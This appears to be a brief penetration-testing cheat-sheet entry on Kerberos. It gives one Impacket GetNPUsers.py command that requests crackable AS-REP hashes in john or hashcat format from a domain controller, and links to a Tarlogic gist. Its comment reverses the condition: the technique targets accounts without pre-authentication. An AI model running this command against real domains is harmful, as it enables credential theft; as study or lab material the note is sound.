Kerberos

# From Impacket-Tools, we can use GetNPUsers.py to check users with PRE-AUTH enabled  

GetNPUsers.py -request -format {john:hashcat} EXAMPLE.COM/fsmith -dc-ip 10.10.10.123   

GitHub: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a